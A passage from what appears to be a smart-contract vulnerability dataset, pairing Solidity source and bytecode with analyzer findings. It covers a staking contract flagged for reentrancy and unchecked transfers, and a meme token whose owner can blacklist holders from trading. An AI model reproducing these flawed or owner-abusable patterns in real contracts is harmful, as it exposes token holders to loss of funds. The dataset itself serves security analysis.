rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount)/2;
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(ast3Address).mint(msg.sender, amount);
}
function withdrawReferralEarned(uint amount) public{
require(timePooled[msg.sender] != 0, "You have to stake at least a little bit to withdraw referral rewards");
require(timePooled[msg.sender] + 3 hours <= now, "It has not been 3 hours since you staked yet");
referralEarned[msg.sender] = referralEarned[msg.sender].sub(amount);
IERC20(ast3Address).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewPooledEthAmount(who).mul( now.sub(internalTime[who]) ));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who))*2 );
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewReferralEarned(address who) public view returns (uint){
return referralEarned[who];
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(ast3Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(ast3Address).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function earnCalc(uint ethTime) public view returns(uint){
return ( rewardValue().mul(ethTime) ) / ( 31557600 * DECIMAL );
}
function ethtimeCalc(uint Ast3) internal view returns(uint){
return ( Ast3.mul(31557600 * DECIMAL) ).div( rewardValue() );
}
}
|
0x6080604052600436106101395760003560e01c80638439a541116100ab578063b1fd67401161006f578063b1fd6740146103c4578063cb43b2dd146103f7578063d28de27314610421578063d488ebe814610436578063e42255d814610469578063e91ed7c91461049c57610166565b80638439a5411461031c5780638d301f99146103465780639d2a679f14610370578063a035b1fe14610385578063a064b44b1461039a57610166565b8063452d003f116100fd578063452d003f1461023e578063475d8733146102685780634caacd751461027d5780636dc64a02146102a65780637beebb0e146102d9578063808615ac146102ee57610166565b80630af88b241461016b57806312c7df731461019c57806326a4e8d2146101c357806329b83c2e146101f65780632dd310001461022957610166565b366101665733737a250d5630b4cf539739df2c5dacb4c659f2488d14610164576101643360006104cf565b005b600080fd5b34801561017757600080fd5b50610180610abf565b604080516001600160a01b039092168252519081900360200190f35b3480156101a857600080fd5b506101b1610ace565b60408051918252519081900360200190f35b3480156101cf57600080fd5b50610164600480360360208110156101e657600080fd5b50356001600160a01b0316610ad4565b34801561020257600080fd5b506101b16004803603602081101561021957600080fd5b50356001600160a01b0316610b69565b34801561023557600080fd5b50610180610b7b565b34801561024a57600080fd5b506101646004803603602081101561026157600080fd5b5035610b93565b34801561027457600080fd5b50610164610d6c565b34801561028957600080fd5b50610292610d81565b604080519115158252519081900360200190f35b3480156102b257600080fd5b506101b1600480360360208110156102c957600080fd5b50356001600160a01b0316610d91565b3480156102e557600080fd5b50610180610dac565b6101646004803603604081101561030457600080fd5b506001600160a01b03813581169160200135166104cf565b34801561032857600080fd5b506101646004803603602081101561033f57600080fd5b5035610dbb565b34801561035257600080fd5b506101646004803603602081101561036957600080fd5b5035610e04565b34801561037c57600080fd5b506101b1610f3b565b34801561039157600080fd5b506101b1610f44565b3480156103a657600080fd5b506101b1600480360360208110156103bd57600080fd5b50356110fc565b3480156103d057600080fd5b506101b1600480360360208110156103e757600080fd5b50356001600160a01b031661112a565b34801561040357600080fd5b506101646004803603602081101561041a57600080fd5b50356112d1565b34801561042d57600080fd5b50610180611402565b34801561044257600080fd5b506101b16004803603602081101561045957600080fd5b50356001600160a01b031661141a565b34801561047557600080fd5b506101b16004803603602081101561048c57600080fd5b50356001600160a01b0316611458565b3480156104a857600080fd5b506101b1600480360360208110156104bf57600080fd5b50356001600160a01b0316611545565b3391506001600160a01b03811615610522576104e9610f44565b670de0b6b3a7640000600a470402816104fe57fe5b6001600160a01b038316600090815260056020526040902080549290910490910190555b610543736fe6403080a3f80da00387224e7846e1239dec2660024704611560565b6006546007546040805163e6a4390560e01b81526001600160a01b03938416600482015292909116602483015251600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a4390591604480820192602092909190829003018186803b1580156105b057600080fd5b505afa1580156105c4573d6000803e3d6000fd5b505050506040513d60208110156105da57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561062f57600080fd5b505afa158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156106ae57600080fd5b505afa1580156106c2573d6000803e3d6000fd5b505050506040513d60208110156106d857600080fd5b5051905060006106f2836106ec47856115f5565b90611655565b600654604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107af57600080fd5b505afa1580156107c3573d6000803e3d6000fd5b505050506040513d60208110156107d957600080fd5b5051600654604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561082c57600080fd5b505afa158015610840573d6000803e3d6000fd5b505050506040513d602081101561085657600080fd5b50516006546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b1580156108c357600080fd5b505af11580156108d7573d6000803e3d6000fd5b505050506040513d60208110156108ed57600080fd5b50506006546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b15801561097657600080fd5b505af115801561098a573d6000803e3d6000fd5b50505050506040513d60608110156109a157600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d6020811015610a1757600080fd5b505190506000610a278285611697565b9050610a54610a358b6116d9565b6001600160a01b038c166000908152600460205260409020549061170a565b6001600160a01b038b166000908152600460209081526040808320939093556001815282822042908190556002825283832055600390522054610a97908261170a565b6001600160a01b03909a16600090815260036020526040902099909955505050505050505050565b6007546001600160a01b031681565b60005490565b600754600160a81b900460ff1615610b33576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6007805460ff60a81b1916600160a81b179055600680546001600160a01b039092166001600160a01b0319909216919091179055565b60016020526000908152604090205481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b3360009081526001602052604090205442612a309091011115610be75760405162461bcd60e51b815260040180806020018281038252602c815260200180611883602c913960400191505060405180910390fd5b610c09610bf3336116d9565b336000908152600460205260409020549061170a565b33600090815260046020908152604080832093909355600390522054610c2f9082611697565b33600090815260036020908152604080832093909355600654600754845163e6a4390560e01b81526001600160a01b0392831660048201529116602482015292519192735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9263e6a4390592604480840193919291829003018186803b158015610cab57600080fd5b505afa158015610cbf573d6000803e3d6000fd5b505050506040513d6020811015610cd557600080fd5b50516040805163a9059cbb60e01b81523360048201526024810185905290519192506001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b505050506040513d6020811015610d5457600080fd5b50503360009081526002602052604090204290555050565b6007805460ff60a01b1916600160a01b179055565b600754600160a01b900460ff1690565b6001600160a01b031660009081526005602052604090205490565b6006546001600160a01b031681565b610dc3610d81565b15610dff5760405162461bcd60e51b815260040180806020018281038252602e81526020018061194e602e913960400191505060405180910390fd5b600055565b33600090815260016020526040902054610e4f5760405162461bcd60e51b81526004018080602001828103825260448152602001806118af6044913960600191505060405180910390fd5b3360009081526001602052604090205442612a309091011115610ea35760405162461bcd60e51b815260040180806020018281038252602c815260200180611883602c913960400191505060405180910390fd5b33600090815260056020526040902054610ebd9082611697565b336000818152600560205260408082209390935560065483516340c10f1960e01b815260048101939093526024830185905292516001600160a01b03909316926340c10f1992604480820193929182900301818387803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b5050505050565b6407b71a3f5481565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015610fb257600080fd5b505afa158015610fc6573d6000803e3d6000fd5b505050506040513d6020811015610fdc57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561103157600080fd5b505afa158015611045573d6000803e3d6000fd5b505050506040513d602081101561105b57600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156110b057600080fd5b505afa1580156110c4573d6000803e3d6000fd5b505050506040513d60208110156110da57600080fd5b505190506110f4816106ec670de0b6b3a7640000856115f5565b935050505090565b60006a1a1a94ec861d5c3380000061111c83611116610ace565b906115f5565b8161112357fe5b0492915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d60208110156111c257600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b505afa15801561122b573d6000803e3d6000fd5b505050506040513d602081101561124157600080fd5b5051604080516318160ddd60e01b815290519192506112c9916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d60208110156112b457600080fd5b50516106ec6112c287611545565b84906115f5565b949350505050565b3360009081526001602052604090205442612a3090910111156113255760405162461bcd60e51b815260040180806020018281038252602c815260200180611883602c913960400191505060405180910390fd5b611331610bf3336116d9565b336000908152600460209081526040808320939093556002908190529181204290559061135d83611764565b8161136457fe5b3360009081526004602052604090205491900491506113839082611697565b3360008181526004602081905260408083209490945560065484516340c10f1960e01b8152918201939093526024810186905292516001600160a01b03909216926340c10f19926044808301939282900301818387803b1580156113e657600080fd5b505af11580156113fa573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600061145261144a61142b846116d9565b6001600160a01b0385166000908152600460205260409020549061170a565b6002026110fc565b92915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156114c657600080fd5b505afa1580156114da573d6000803e3d6000fd5b505050506040513d60208110156114f057600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b6001600160a01b031660009081526003602052604090205490565b6040516000906001600160a01b0384169083908381818185875af1925050503d80600081146115ab576040519150601f19603f3d011682016040523d82523d6000602084013e6115b0565b606091505b50509050806115f05760405162461bcd60e51b815260040180806020018281038252603a8152602001806118f3603a913960400191505060405180910390fd5b505050565b60008261160457506000611452565b8282028284828161161157fe5b041461164e5760405162461bcd60e51b815260040180806020018281038252602181526020018061192d6021913960400191505060405180910390fd5b9392505050565b600061164e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611786565b600061164e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611828565b6001600160a01b03811660009081526002602052604081205461145290611701904290611697565b6111168461112a565b60008282018381101561164e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611452611771610ace565b6106ec846a1a1a94ec861d5c338000006115f5565b600081836118125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117d75781810151838201526020016117bf565b50505050905090810190601f1680156118045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161181e57fe5b0495945050505050565b6000818484111561187a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117d75781810151838201526020016117bf565b50505090039056fe497420686173206e6f74206265656e203320686f7572732073696e636520796f75207374616b656420796574596f75206861766520746f207374616b65206174206c656173742061206c6974746c652062697420746f20776974686472617720726566657272616c2072657761726473416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a2646970667358221220c3036de953784580fd35f53fbdd1cbf0aa65f90932a4dec902dd8ab7469f01f164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,707 |
0x7308Eb5E8E41B24975eEFe02C3eD81B100698A44
|
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// SPDX-License-Identifier: MIT
/**
https://t.me/apexinu
**/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ApexInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Ape X Inu";
string private constant _symbol = "APEXINU";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
emit Transfer(address(_msgSender()), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 6;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 6;
_feeAddr2 = 6;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function startTrading() external onlyOwner{
tradingOpen = true;
}
function addToList(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function removeFromList(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c80636fc3eaec116100a0578063a9059cbb11610064578063a9059cbb14610335578063c3c8cd8014610355578063d91a21a61461036a578063dd62ed3e1461038a578063e8078d94146103d057600080fd5b80636fc3eaec1461029357806370a08231146102a8578063715018a6146102c85780638da5cb5b146102dd57806395d89b411461030557600080fd5b8063293230b8116100e7578063293230b81461020d578063313ce5671461022257806339c967741461023e5780634be0c708146102535780635932ead11461027357600080fd5b806306fdde031461012f578063095ea7b31461017357806318160ddd146101a357806323b872dd146101cb578063257f9abf146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526009815268417065205820496e7560b81b60208201525b60405161016a919061161f565b60405180910390f35b34801561017f57600080fd5b5061019361018e366004611699565b6103e5565b604051901515815260200161016a565b3480156101af57600080fd5b506a52b7d2dcc80cd2e40000005b60405190815260200161016a565b3480156101d757600080fd5b506101936101e63660046116c5565b6103fc565b3480156101f757600080fd5b5061020b610206366004611706565b610465565b005b34801561021957600080fd5b5061020b6104b9565b34801561022e57600080fd5b506040516012815260200161016a565b34801561024a57600080fd5b5061020b6104f8565b34801561025f57600080fd5b5061020b61026e366004611739565b6106c8565b34801561027f57600080fd5b5061020b61028e36600461180c565b61081c565b34801561029f57600080fd5b5061020b610864565b3480156102b457600080fd5b506101bd6102c3366004611706565b610871565b3480156102d457600080fd5b5061020b610893565b3480156102e957600080fd5b506000546040516001600160a01b03909116815260200161016a565b34801561031157600080fd5b5060408051808201909152600781526641504558494e5560c81b602082015261015d565b34801561034157600080fd5b50610193610350366004611699565b610907565b34801561036157600080fd5b5061020b610914565b34801561037657600080fd5b5061020b610385366004611829565b61092a565b34801561039657600080fd5b506101bd6103a5366004611842565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103dc57600080fd5b5061020b610987565b60006103f2338484610bcb565b5060015b92915050565b6000610409848484610cef565b61045b843361045685604051806060016040528060288152602001611a3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611010565b610bcb565b5060019392505050565b6000546001600160a01b031633146104985760405162461bcd60e51b815260040161048f9061187b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104e35760405162461bcd60e51b815260040161048f9061187b565b600e805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105225760405162461bcd60e51b815260040161048f9061187b565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561056130826a52b7d2dcc80cd2e4000000610bcb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561059f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c391906118b0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610610573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063491906118b0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a591906118b0565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146106f25760405162461bcd60e51b815260040161048f9061187b565b60005b815181101561081857600d5482516001600160a01b0390911690839083908110610721576107216118cd565b60200260200101516001600160a01b0316141580156107725750600e5482516001600160a01b039091169083908390811061075e5761075e6118cd565b60200260200101516001600160a01b031614155b80156107a95750306001600160a01b0316828281518110610795576107956118cd565b60200260200101516001600160a01b031614155b15610806576001600660008484815181106107c6576107c66118cd565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610810816118f9565b9150506106f5565b5050565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161048f9061187b565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761086e8161104a565b50565b6001600160a01b0381166000908152600260205260408120546103f690611084565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161048f9061187b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103f2338484610cef565b600061091f30610871565b905061086e81611101565b6000546001600160a01b031633146109545760405162461bcd60e51b815260040161048f9061187b565b6000811161096157600080fd5b610981606461097b6a52b7d2dcc80cd2e400000084610b00565b90610b89565b600f5550565b6000546001600160a01b031633146109b15760405162461bcd60e51b815260040161048f9061187b565b600d546001600160a01b031663f305d71947306109cd81610871565b6000806109e26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6f9190611912565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610adc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e9190611940565b600082600003610b12575060006103f6565b6000610b1e838561195d565b905082610b2b858361197c565b14610b825760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048f565b9392505050565b6000610b8283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127b565b6001600160a01b038316610c2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048f565b6001600160a01b038216610c8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f0